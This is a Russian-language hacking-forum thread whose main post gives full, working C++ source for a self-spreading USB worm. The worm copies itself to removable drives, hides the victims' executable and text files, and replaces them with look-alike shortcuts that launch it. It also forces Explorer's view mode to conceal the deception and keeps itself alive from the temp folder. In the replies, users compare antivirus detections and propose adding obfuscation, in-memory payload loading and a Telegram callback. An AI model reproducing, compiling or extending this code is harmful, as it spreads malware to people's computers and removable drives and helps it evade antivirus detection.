• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья bang usb rabbit

MrBang

(L3) cache
Seller
Регистрация
11.09.2023
Сообщения
266
Реакции
93
Гарант сделки
7
e08a363a75b511eebd3092669a1675b3:upscaled

Дамы и Господа, позвольте вам представить, взрывного кролика!

Кролик весьма игривое-пакостное существо, и когда он видит файлы в которых он не побывал, он сразу же это исправляет :D
Затем как истинный любитель свободы он садится на поезд usb и идёт до следующей остановки.
Но так как кролик размножается, он всегда оставляет своих детишек, что бы всем было неповадно :D
Данный код поддерживает работу как с уже подключенными, так и с новыми usb в режиме реального времени.
В данном посте вы увидите МОЁ видение автозаражения usb флэшек.
ЯП исключительно ваш любимый С++ (страдайте, бугагага)

Часть 1
Подключение, создание lnk, сокрытие, запуск.

Подключаем либы,дифайны,инклюды
C++:
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tlhelp32.h>
#include <shobjidl.h>
#include <shlobj.h>
#include <filesystem>
#include <vector>
#include <string>
#include <iostream>
#include <exdisp.h>
#include <shlguid.h>
#include <shlwapi.h>
#include <winioctl.h>
#include <set>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "shlwapi.lib")

Объявляем глобальную переменную g_selfName где мы будем хранить имя нашего исполняемого файла.
и др.
C++:
namespace fs = std::filesystem;
fs::path g_selfName;
Функция extensions была создана что бы вы лично выбирали какой формат файлов мы будем заражать.
C++:
const std::vector<std::wstring> extensions = {
    L".exe", L".bat", L".cmd", L".com", L".txt"
};
Функция проверяет найденное расширение файла из списка разрешённых.
C++:
bool hasTargetExtension(const fs::path& p) {
    for (auto& e : extensions)
        if (_wcsicmp(p.extension().c_str(), e.c_str()) == 0)
            return true;
    return false;
}
Из названия можно понять, что данная функция проверяет, что найденный файл является нашим, и мы его пропускаем, нах нам его заражать.
C++:
bool isMyFile(const fs::path& p) {
    return _wcsicmp(p.filename().c_str(), g_selfName.c_str()) == 0;
}
Скрываем оригинальный файл, что бы затем сделать на него ярлык.
C++:
void hideFile(const fs::path& p) {
    DWORD a = GetFileAttributesW(p.c_str());
    if (a != INVALID_FILE_ATTRIBUTES)
        SetFileAttributesW(p.c_str(), a | FILE_ATTRIBUTE_HIDDEN);
}
Функция для запуска файла
C++:
void launchArgument(const wchar_t* arg) {
    if (!arg || !*arg) return;
    ShellExecuteW(nullptr, L"open", arg, nullptr, nullptr, SW_SHOWNORMAL);
}
Моя считалочка кроликов, 1 процесс хорошо, значит мы сидим в системе, 2 процесса плохо!
Значит мы уже заразили, и нам не нужно оставаться, мы лишь запускаем кликнутый файл и выходим.
C++:
int countMyProcess() {
    wchar_t selfPath[MAX_PATH];
    GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
    fs::path selfName = fs::path(selfPath).filename();
    int count = 0;
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE)
        return 1;

    PROCESSENTRY32W pe{};
    pe.dwSize = sizeof(pe);
    if (Process32FirstW(snap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, selfName.c_str()) == 0)
                count++;
        } while (Process32NextW(snap, &pe));
    }
    CloseHandle(snap);
    return count;
}

Сладкое создание ярлыков.
Создаём ярлык с указанием моего скопированного файла на флэшку как оригинал.
Далее указываем иконкой оригинальный файл, ЕСЛИ файл txt то используем системную иконку.
Аргументом у нас представляется сам ориг файл

C++:
void createShortcut(const fs::path& original, const fs::path& PathR) {
    fs::path lnk = original;
    lnk += L".lnk";
    if (fs::exists(lnk)) return;
    IShellLinkW* link = nullptr;
    IPersistFile* file = nullptr;

    if (FAILED(CoCreateInstance(
        CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER,
        IID_IShellLinkW, (void**)&link)))
        return;

    link->SetPath(PathR.c_str());
    std::wstring args = L"\"" + original.wstring() + L"\"";
    link->SetArguments(args.c_str());
    link->SetWorkingDirectory(PathR.parent_path().c_str());

    if (_wcsicmp(original.extension().c_str(), L".txt") == 0)
        link->SetIconLocation(L"%SystemRoot%\\System32\\imageres.dll", -102);
    else
        link->SetIconLocation(original.c_str(), 0);

    if (SUCCEEDED(link->QueryInterface(IID_IPersistFile, (void**)&file))) {
        file->Save(lnk.c_str(), TRUE);
        file->Release();
    }
    link->Release();
}

Проверяем существует ли диск-папка куда мы будем копировать наш файл
Является ли директорией
Есть ли к ней доступ-права
Если происходит какая то ошибка сразу выходим.
C++:
bool processRootSafe(const fs::path& rootDir)
{
    Sleep(300);
    if (!fs::exists(rootDir) || !fs::is_directory(rootDir))
        return false;
    std::error_code ec;
    fs::directory_iterator test(rootDir, ec);
    if (ec) return false;

    fs::path PathR = rootDir / g_selfName.c_str();
    if (fs::exists(PathR))
        return false;
    wchar_t exePath[MAX_PATH];
    GetModuleFileNameW(nullptr, exePath, MAX_PATH);
    fs::path exeDir = fs::path(exePath).parent_path();
    fs::path MyPSource = exeDir / g_selfName.c_str();

    if (!fs::exists(MyPSource))
        return false;
    try {
        fs::copy_file(MyPSource, PathR,
            fs::copy_options::overwrite_existing);
    }
    catch (...) {
        return false;
    }

    hideFile(PathR);
    try {
        for (auto& e : fs::recursive_directory_iterator(
            rootDir,
            fs::directory_options::skip_permission_denied))
        {
            if (!e.is_regular_file()) continue;
            const fs::path& f = e.path();
            if (isMyFile(f)) continue;
            if (!hasTargetExtension(f)) continue;
            createShortcut(f, PathR);
            hideFile(f);
        }
    }
    catch (...) {
        return false;
    }
    return true;
}

Нормализовываем путь, что бы F:\test\,F:\test\\ и F:\test считались одним и тем же путём
[CODE=cpp]
std::wstring normalizePath(const std::wstring& p)
{
    wchar_t buf[MAX_PATH];
    GetFullPathNameW(p.c_str(), MAX_PATH, buf, nullptr);
    std::wstring out = buf;

    if (!(out.size() == 3 && out[1] == L':' && out[2] == L'\\'))
    {
        while (!out.empty() && out.back() == L'\\')
            out.pop_back();
    }
    return out;
}
Часть 2
Поиск usb, внешний вид.

Теперь мы переходим в область поиска usb и сокрытия вида.
Сделав 100500 версий, и смотря на них я понял, что .lnk это хорошо, НО меня сильно напрягало, что справа есть Type, где пишет Shortcut(lnk)
Первая мысля была, херануть реестр и через него убрать в нужной нам папке Type, потыкав, понял, что тогда придётся убирать и size потому что .doc или .exe а размер 1 кб, чот не то)))
Тогда решение пришло быстро, ВИД, нужно сменить вид где не будет данного описания, и потыкав я выбрал List.

Функция для проверки, мы сейчас находимся в одном из тех папок или подпапок которые мы указали?
Что бы сменять вид ТОЛЬКО в указанных usb, а не во всём пк.
C++:
bool isInsideCur(const std::vector<std::wstring>& bases,
    const std::wstring& cur)
{
    for (const auto& base : bases)
    {
        if (_wcsicmp(base.c_str(), cur.c_str()) == 0)
            return true;
        if (cur.size() > base.size() &&
            _wcsnicmp(cur.c_str(), base.c_str(), base.size()) == 0 &&
            (base.back() == L'\\' || cur[base.size()] == L'\\'))
            return true;
    }
    return false;
}
Проверяем указанный диск является ли usb
C++:
bool isUsbDrive(wchar_t letter)
{
    wchar_t vol[] = { L'\\', L'\\', L'.', L'\\', letter, L':', 0 };
    HANDLE h = CreateFileW(vol, 0,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr, OPEN_EXISTING, 0, nullptr);

    if (h == INVALID_HANDLE_VALUE)
        return false;
    STORAGE_PROPERTY_QUERY q{};
    q.PropertyId = StorageDeviceProperty;
    q.QueryType = PropertyStandardQuery;
    BYTE buf[1024]{};
    DWORD ret = 0;
    bool ok = false;
    if (DeviceIoControl(h, IOCTL_STORAGE_QUERY_PROPERTY,
        &q, sizeof(q), buf, sizeof(buf), &ret, nullptr))
    {
        auto* d = (STORAGE_DEVICE_DESCRIPTOR*)buf;
        ok = (d->BusType == BusTypeUsb);
    }
    CloseHandle(h);
    return ok;
}
Сканируем и возвращаем набор букв текущих дисков.
C++:
std::set<wchar_t> scanLetters()
{
    std::set<wchar_t> res;
    DWORD mask = GetLogicalDrives();
    for (wchar_t l = L'A'; l <= L'Z'; l++)
    {
        if (mask & (1 << (l - L'A')))
        {
            wchar_t root[] = { l, L':', L'\\', 0 };
            UINT t = GetDriveTypeW(root);
            if ((t == DRIVE_FIXED || t == DRIVE_REMOVABLE) && isUsbDrive(l))
                res.insert(l);
        }
    }
    return res;
}
Функция для получения пути из текущей папки.
C++:
bool getActiveExplorerPath(std::wstring& out)
{
    out.clear();
    HWND fg = GetForegroundWindow();
    if (!fg) return false;

    IShellWindows* wins = nullptr;
    if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
        CLSCTX_ALL, IID_PPV_ARGS(&wins))))
        return false;

    long cnt = 0;
    wins->get_Count(&cnt);

    for (long i = 0; i < cnt; i++)
    {
        VARIANT v{};
        v.vt = VT_I4;
        v.lVal = i;

        IDispatch* disp = nullptr;
        if (FAILED(wins->Item(v, &disp)) || !disp)
            continue;

        IWebBrowserApp* wb = nullptr;
        if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
        {
            HWND h = nullptr;
            wb->get_HWND((LONG_PTR*)&h);

            if (h == fg)
            {
                BSTR url;
                if (SUCCEEDED(wb->get_LocationURL(&url)))
                {
                    wchar_t buf[MAX_PATH];
                    DWORD len = MAX_PATH;
                    if (SUCCEEDED(PathCreateFromUrlW(url, buf, &len, 0)))
                    {
                        out = normalizePath(buf);
                        SysFreeString(url);
                        wb->Release();
                        disp->Release();
                        wins->Release();
                        return true;
                    }
                    SysFreeString(url);
                }
            }
            wb->Release();
        }
        disp->Release();
    }
    wins->Release();
    return false;
}



Самая главная вишенка на торте,ПРИНУДИТЕЛЬНО добровольно меняем вид на list
C++:
void ChangeListView()
{
    IShellWindows* wins = nullptr;
    if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
        CLSCTX_ALL, IID_PPV_ARGS(&wins))))
        return;

    HWND fg = GetForegroundWindow();
    long cnt = 0;
    wins->get_Count(&cnt);

    for (long i = 0; i < cnt; i++)
    {
        VARIANT v{};
        v.vt = VT_I4;
        v.lVal = i;
        IDispatch* disp = nullptr;
        if (FAILED(wins->Item(v, &disp)) || !disp)
            continue;

        IWebBrowserApp* wb = nullptr;
        if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
        {
            HWND h = nullptr;
            wb->get_HWND((LONG_PTR*)&h);
            if (h == fg)
            {
                IServiceProvider* sp = nullptr;
                if (SUCCEEDED(wb->QueryInterface(IID_PPV_ARGS(&sp))))
                {
                    IShellBrowser* sb = nullptr;
                    if (SUCCEEDED(sp->QueryService(
                        SID_STopLevelBrowser, IID_PPV_ARGS(&sb))))
                    {
                        IShellView* sv = nullptr;
                        if (SUCCEEDED(sb->QueryActiveShellView(&sv)))
                        {
                            IFolderView2* fv = nullptr;
                            if (SUCCEEDED(sv->QueryInterface(IID_PPV_ARGS(&fv))))
                            {
                                fv->SetCurrentViewMode(FVM_LIST);
                                fv->Release();
                            }
                            sv->Release();
                        }
                        sb->Release();
                    }
                    sp->Release();
                }
            }
            wb->Release();
        }
        disp->Release();
    }
    wins->Release();
}
Ну и завершение!
wmain основной цикл
инициализирует данные
постоянно отслеживает подключённые usb
обрабатывает их
Изменение вида на List
Производит запуск основного файл через аргумент
Если кролик видит что на пк Нет других кроликов, тогда он копирует себя в temp и запускает свою копию
Что бы при извлечении флэшки не было ошибок, ну и что бы ждать новые флэшки.

C++:
int wmain(int argc, wchar_t* argv[])
{
    wchar_t selfPath[MAX_PATH];
    GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
    g_selfName = fs::path(selfPath).filename();
    CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
    while (true)
    {
        std::set<wchar_t> usb = scanLetters();
        std::vector<std::wstring> bases;
        for (auto l : usb)
        {
            std::wstring root;
            root += l;
            root += L":\\";
            bases.push_back(normalizePath(root));
            const wchar_t* launchFile = argv[1];
            if (argc > 1)
            {
                launchArgument(launchFile);
                if (countMyProcess() == 1)
                {
                    wchar_t exePath[MAX_PATH];
                    GetModuleFileNameW(nullptr, exePath, MAX_PATH);
                    std::filesystem::path exeDir = std::filesystem::path(exePath).parent_path();
                    std::filesystem::path src = exeDir / g_selfName.c_str();
                    wchar_t tempPath[MAX_PATH];
                    GetTempPathW(MAX_PATH, tempPath);
                    std::filesystem::path dst = std::filesystem::path(tempPath) / g_selfName.c_str();
                    std::filesystem::copy_file(
                        src,
                        dst,
                        std::filesystem::copy_options::overwrite_existing
                    );
                    launchArgument(dst.c_str());
                }
                return 0;
            }
                CoInitialize(nullptr);
                processRootSafe(root);
                CoUninitialize();
        }

        std::wstring cur;
        if (getActiveExplorerPath(cur))
        {
            if (isInsideCur(bases, cur))
                ChangeListView();
        }
        Sleep(120);
    }
    CoUninitialize();
    return 0;
}

Я бы хотел это всё размусолить на 1ккк строк и обанкротить админа :D
Но тут нет чего мусолить)
C++:
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tlhelp32.h>
#include <shobjidl.h>
#include <shlobj.h>
#include <filesystem>
#include <vector>
#include <string>
#include <iostream>
#include <exdisp.h>
#include <shlguid.h>
#include <shlwapi.h>
#include <winioctl.h>
#include <set>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "shlwapi.lib")


namespace fs = std::filesystem;
fs::path g_selfName;
const std::vector<std::wstring> extensions = {
    L".exe", L".bat", L".cmd", L".com", L".txt"
};


bool hasTargetExtension(const fs::path& p) {
    for (auto& e : extensions)
        if (_wcsicmp(p.extension().c_str(), e.c_str()) == 0)
            return true;
    return false;
}

bool isMyFile(const fs::path& p) {
    return _wcsicmp(p.filename().c_str(), g_selfName.c_str()) == 0;
}

void hideFile(const fs::path& p) {
    DWORD a = GetFileAttributesW(p.c_str());
    if (a != INVALID_FILE_ATTRIBUTES)
        SetFileAttributesW(p.c_str(), a | FILE_ATTRIBUTE_HIDDEN);
}

void launchArgument(const wchar_t* arg) {
    if (!arg || !*arg) return;
    ShellExecuteW(nullptr, L"open", arg, nullptr, nullptr, SW_SHOWNORMAL);
}

int countMyProcess() {
    wchar_t selfPath[MAX_PATH];
    GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
    fs::path selfName = fs::path(selfPath).filename();
    int count = 0;
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE)
        return 1;

    PROCESSENTRY32W pe{};
    pe.dwSize = sizeof(pe);
    if (Process32FirstW(snap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, selfName.c_str()) == 0)
                count++;
        } while (Process32NextW(snap, &pe));
    }
    CloseHandle(snap);
    return count;
}

void createShortcut(const fs::path& original, const fs::path& PathR) {
    fs::path lnk = original;
    lnk += L".lnk";
    if (fs::exists(lnk)) return;
    IShellLinkW* link = nullptr;
    IPersistFile* file = nullptr;

    if (FAILED(CoCreateInstance(
        CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER,
        IID_IShellLinkW, (void**)&link)))
        return;

    link->SetPath(PathR.c_str());
    std::wstring args = L"\"" + original.wstring() + L"\"";
    link->SetArguments(args.c_str());
    link->SetWorkingDirectory(PathR.parent_path().c_str());

    if (_wcsicmp(original.extension().c_str(), L".txt") == 0)
        link->SetIconLocation(L"%SystemRoot%\\System32\\imageres.dll", -102);
    else
        link->SetIconLocation(original.c_str(), 0);

    if (SUCCEEDED(link->QueryInterface(IID_IPersistFile, (void**)&file))) {
        file->Save(lnk.c_str(), TRUE);
        file->Release();
    }
    link->Release();
}


bool processRootSafe(const fs::path& rootDir)
{
    Sleep(300);
    if (!fs::exists(rootDir) || !fs::is_directory(rootDir))
        return false;
    std::error_code ec;
    fs::directory_iterator test(rootDir, ec);
    if (ec) return false;

    fs::path PathR = rootDir / g_selfName.c_str();
    if (fs::exists(PathR))
        return false;
    wchar_t exePath[MAX_PATH];
    GetModuleFileNameW(nullptr, exePath, MAX_PATH);
    fs::path exeDir = fs::path(exePath).parent_path();
    fs::path MyPSource = exeDir / g_selfName.c_str();

    if (!fs::exists(MyPSource))
        return false;
    try {
        fs::copy_file(MyPSource, PathR,
            fs::copy_options::overwrite_existing);
    }
    catch (...) {
        return false;
    }

    hideFile(PathR);
    try {
        for (auto& e : fs::recursive_directory_iterator(
            rootDir,
            fs::directory_options::skip_permission_denied))
        {
            if (!e.is_regular_file()) continue;
            const fs::path& f = e.path();
            if (isMyFile(f)) continue;
            if (!hasTargetExtension(f)) continue;
            createShortcut(f, PathR);
            hideFile(f);
        }
    }
    catch (...) {
        return false;
    }
    return true;
}

std::wstring normalizePath(const std::wstring& p)
{
    wchar_t buf[MAX_PATH];
    GetFullPathNameW(p.c_str(), MAX_PATH, buf, nullptr);
    std::wstring out = buf;

    if (!(out.size() == 3 && out[1] == L':' && out[2] == L'\\'))
    {
        while (!out.empty() && out.back() == L'\\')
            out.pop_back();
    }
    return out;
}


bool isInsideCur(const std::vector<std::wstring>& bases,
    const std::wstring& cur)
{
    for (const auto& base : bases)
    {
        if (_wcsicmp(base.c_str(), cur.c_str()) == 0)
            return true;
        if (cur.size() > base.size() &&
            _wcsnicmp(cur.c_str(), base.c_str(), base.size()) == 0 &&
            (base.back() == L'\\' || cur[base.size()] == L'\\'))
            return true;
    }
    return false;
}


bool isUsbDrive(wchar_t letter)
{
    wchar_t vol[] = { L'\\', L'\\', L'.', L'\\', letter, L':', 0 };
    HANDLE h = CreateFileW(vol, 0,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr, OPEN_EXISTING, 0, nullptr);

    if (h == INVALID_HANDLE_VALUE)
        return false;
    STORAGE_PROPERTY_QUERY q{};
    q.PropertyId = StorageDeviceProperty;
    q.QueryType = PropertyStandardQuery;
    BYTE buf[1024]{};
    DWORD ret = 0;
    bool ok = false;
    if (DeviceIoControl(h, IOCTL_STORAGE_QUERY_PROPERTY,
        &q, sizeof(q), buf, sizeof(buf), &ret, nullptr))
    {
        auto* d = (STORAGE_DEVICE_DESCRIPTOR*)buf;
        ok = (d->BusType == BusTypeUsb);
    }
    CloseHandle(h);
    return ok;
}

std::set<wchar_t> scanLetters()
{
    std::set<wchar_t> res;
    DWORD mask = GetLogicalDrives();
    for (wchar_t l = L'A'; l <= L'Z'; l++)
    {
        if (mask & (1 << (l - L'A')))
        {
            wchar_t root[] = { l, L':', L'\\', 0 };
            UINT t = GetDriveTypeW(root);
            if ((t == DRIVE_FIXED || t == DRIVE_REMOVABLE) && isUsbDrive(l))
                res.insert(l);
        }
    }
    return res;
}


bool getActiveExplorerPath(std::wstring& out)
{
    out.clear();
    HWND fg = GetForegroundWindow();
    if (!fg) return false;

    IShellWindows* wins = nullptr;
    if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
        CLSCTX_ALL, IID_PPV_ARGS(&wins))))
        return false;

    long cnt = 0;
    wins->get_Count(&cnt);

    for (long i = 0; i < cnt; i++)
    {
        VARIANT v{};
        v.vt = VT_I4;
        v.lVal = i;

        IDispatch* disp = nullptr;
        if (FAILED(wins->Item(v, &disp)) || !disp)
            continue;

        IWebBrowserApp* wb = nullptr;
        if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
        {
            HWND h = nullptr;
            wb->get_HWND((LONG_PTR*)&h);

            if (h == fg)
            {
                BSTR url;
                if (SUCCEEDED(wb->get_LocationURL(&url)))
                {
                    wchar_t buf[MAX_PATH];
                    DWORD len = MAX_PATH;
                    if (SUCCEEDED(PathCreateFromUrlW(url, buf, &len, 0)))
                    {
                        out = normalizePath(buf);
                        SysFreeString(url);
                        wb->Release();
                        disp->Release();
                        wins->Release();
                        return true;
                    }
                    SysFreeString(url);
                }
            }
            wb->Release();
        }
        disp->Release();
    }
    wins->Release();
    return false;
}


void ChangeListView()
{
    IShellWindows* wins = nullptr;
    if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
        CLSCTX_ALL, IID_PPV_ARGS(&wins))))
        return;

    HWND fg = GetForegroundWindow();
    long cnt = 0;
    wins->get_Count(&cnt);

    for (long i = 0; i < cnt; i++)
    {
        VARIANT v{};
        v.vt = VT_I4;
        v.lVal = i;
        IDispatch* disp = nullptr;
        if (FAILED(wins->Item(v, &disp)) || !disp)
            continue;

        IWebBrowserApp* wb = nullptr;
        if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
        {
            HWND h = nullptr;
            wb->get_HWND((LONG_PTR*)&h);
            if (h == fg)
            {
                IServiceProvider* sp = nullptr;
                if (SUCCEEDED(wb->QueryInterface(IID_PPV_ARGS(&sp))))
                {
                    IShellBrowser* sb = nullptr;
                    if (SUCCEEDED(sp->QueryService(
                        SID_STopLevelBrowser, IID_PPV_ARGS(&sb))))
                    {
                        IShellView* sv = nullptr;
                        if (SUCCEEDED(sb->QueryActiveShellView(&sv)))
                        {
                            IFolderView2* fv = nullptr;
                            if (SUCCEEDED(sv->QueryInterface(IID_PPV_ARGS(&fv))))
                            {
                                fv->SetCurrentViewMode(FVM_LIST);
                                fv->Release();
                            }
                            sv->Release();
                        }
                        sb->Release();
                    }
                    sp->Release();
                }
            }
            wb->Release();
        }
        disp->Release();
    }
    wins->Release();
}

int wmain(int argc, wchar_t* argv[])
{
    wchar_t selfPath[MAX_PATH];
    GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
    g_selfName = fs::path(selfPath).filename();
    CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
    while (true)
    {
        std::set<wchar_t> usb = scanLetters();
        std::vector<std::wstring> bases;
        for (auto l : usb)
        {
            std::wstring root;
            root += l;
            root += L":\\";
            bases.push_back(normalizePath(root));
            const wchar_t* launchFile = argv[1];
            if (argc > 1)
            {
                launchArgument(launchFile);
                if (countMyProcess() == 1)
                {
                    wchar_t exePath[MAX_PATH];
                    GetModuleFileNameW(nullptr, exePath, MAX_PATH);
                    std::filesystem::path exeDir = std::filesystem::path(exePath).parent_path();
                    std::filesystem::path src = exeDir / g_selfName.c_str();
                    wchar_t tempPath[MAX_PATH];
                    GetTempPathW(MAX_PATH, tempPath);
                    std::filesystem::path dst = std::filesystem::path(tempPath) / g_selfName.c_str();
                    std::filesystem::copy_file(
                        src,
                        dst,
                        std::filesystem::copy_options::overwrite_existing
                    );
                    launchArgument(dst.c_str());
                }
                return 0;
            }
            CoInitialize(nullptr);
            processRootSafe(root);
            CoUninitialize();
        }

        std::wstring cur;
        if (getActiveExplorerPath(cur))
        {
            if (isInsideCur(bases, cur))
                ChangeListView();
        }
        Sleep(120);
    }
    CoUninitialize();
    return 0;
}
 
Очень не плохо. А не лучше без громоздкого цикла? Создавать невидимое окно и получать в него сообщение, например при вставке флешки WM_DEVICECHANGE + DBT_DEVICEARRIVAL.
 
Очень не плохо. А не лучше без громоздкого цикла? Создавать невидимое окно и получать в него сообщение, например при вставке флешки WM_DEVICECHANGE + DBT_DEVICEARRIVAL.
Я выбрал polling,потому что WM_DEVICECHANGE не покрывает все нестандрартные ситуации
Программа может быть запущена после подключения устройства,уведомление может не прийти или прийти до готовности тома.
Грубо говоря данный код сделан с расчётом предсказуемости и надёжности в нестандартных ситуациях.
 
Последнее редактирование:
Закинь плиз в вирус тотал интетесно что выдаст.
 
Behavior ща досканится тоже скину
А можно линком, интересно будет резалт в динамике узнать.
 
А можно линком, интересно будет резалт в динамике узнать.
Бро я как истинный кодер параноик :D не даю ссылки на свои скомпиленные файлы.
Потому что где то во вселенной моя шапочка из фольги говорит, что где то в скомпилировнном файле есть мои координаты :D
Прошу понять и простить :D
 
Последнее редактирование:
Потому что где то во вселенной моя шапочка из фольги говорит, что где то в скомпилировнном файле есть мои координатинтересно?
Это не шапочка, это уже шлем :) Где же, интересно?
 
И где же, интересно?
Лучше перепараноить, чем недопараноить. Ну не хочет человек гипотетические метаданные палить. И разбираться, есть они там на самом деле, или нет - тоже не хочет время тратить (предположительно, есть куда время утилизировать). Нормальная ситуация)

А вообще - там же есть тайм-стемп, и не просто так он был замазан. Есть размер файла, который был передан. Чисто в теории - можно же оттрассировать, даже если трафик зашифрован(размер данных + время)? Чисто в теории - да. Ну и нафиг нужно такое палить, соответственно, вне зависимости от практической реализуемости)
 
Последнее редактирование:
Ну не хочет человек гипотетические метаданные палить. И разбираться, есть они там на самом деле, или нет - тоже не хочет время тратить (предположительно, есть куда время утилизировать). Нормальная ситуация)
Бред, писать код и не разбираться в PE-формате и не знать что там будет в собственном коде (тем более малвари) под дизасмом это фуфло-говно кодниг. так что не наговаривай на ТС, который позиционирует себя как "KILL AV, botnet-rat-consolidation in the system, brute, checker", а говори за себя.
 
Бред, писать код и не разбираться в PE-формате и не знать что там будет в собственном коде (тем более малвари) под дизасмом это фуфло-говно кодниг. так что не наговаривай на ТС, который позиционирует себя как "KILL AV, botnet-rat-consolidation in the system, brute, checker", а говори за себя.
Расслабься чувак, ты загоняешься на пустом месте)
 
Друзья давайте жить дружно))
Скомпилить проект на gcc, и почистить не составляет труда, но зачем?)
Это же статья а не раздача файла =)
Скрины с детектами и так предоставил.
Мир вам!
 
Вроде фулл код автор выложил, не хочет ссылку на вт давать - пусть не кидает, че взъелись то)
сами скомпильте да закиньте куда хотите, даж самому интересно стало что оно на any.run выдаст
 
Для мира во всём мире!
=_= заставляете старика заниматься хернёй....
после чистки следов кстати 1 детект пропал :D
https://www.virustotal.com/gui/file...4760a48c2dead65492b25ce044d6d230162?nocache=1
Осталось в том-же gpt стиле провесьти абуфускацию кода ну и добавить какую-то полезную нагрузку, например принимать фаил/код на загрузку и запускать его в памяти. Ну и куда-то отстукивать например в ТГ.

Ну или просто just4fun отправлять количество зараженных фаилов и машин.
 
Осталось в том-же gpt стиле провесьти абуфускацию кода ну и добавить какую-то полезную нагрузку, например принимать фаил/код на загрузку и запускать его в памяти. Ну и куда-то отстукивать например в ТГ.

Ну или просто just4fun отправлять количество зараженных фаилов и машин.
Я вообще хз кому такая херь нужна.
После запуска копии файла, можно организовать уже чо угодно) и запуск и скачку.
Моё дело исполнить, сказано сделано! :D
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх